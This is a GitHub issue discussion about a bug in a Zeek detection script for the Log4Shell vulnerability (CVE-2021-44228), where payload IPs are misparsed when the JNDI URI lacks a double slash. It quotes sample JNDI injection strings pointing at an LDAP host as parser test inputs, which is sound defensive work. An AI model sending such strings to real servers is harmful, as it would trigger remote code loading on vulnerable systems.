Parses wrong payload IP

[ynadji]

Things get hairy when there are multiple IP addresses and the exploit URI doesn't have //.

e.g.:

print(parse_payload("https://18.x.x.x:443/${jndi:ldap:/10.0.16.1:1389/Exploit}"));
print(parse_payload("https://18.x.x.x:443/${jndi:ldap://10.0.16.1:1389/Exploit}"));
...
~/code/cve-2021-44228 ben-jgj*
¡ zeek scripts
[uri=10.0.16.1:1389/Exploit, stem=10.0.16.1:1389, host=10.0.16.1, port_=1389]
[uri=18.x.x.x:443/${jndi:ldap:/10.0.16.1:1389/Exploit, stem=18.x.x.x:443, host=18.x.x.x, port_=443]

The lack of the // is the issue here. This branch (https://github.com/corelight/cve-2021-44228/tree/yacin-30-wrong-payload) has tests for this if someone has a clever idea to fix this ldap:/ one, but not break the others. Tabling this for now.

[benjeems]

One thought is to look at splitting the payload from the right to left. eg if we split on the last '/' in /Exploit and take the second to last element in the vector, this would give the correct 10.0.16.1:1389 in both cases. Although it depends on there being that trailing / (and only one of them...) . Need to way up the risk of introducing FN's at the expense of an edge case that could be post processed in SIEM. note I'm not even sure that the single / in ldap:/10.0.16.1:1389/Exploit constitutes a working exploit.

[benjeems]

Another thought is to use a split on a regex that caters for working exploits and the potentially not working edge case, something like: local tmp = split_string(s, ///|:/[0-9]{0,3}.[0-9]{0,3}.[0-9]{0,3}.[0-9]{0,3}/); Again, depends how big a pain point this is.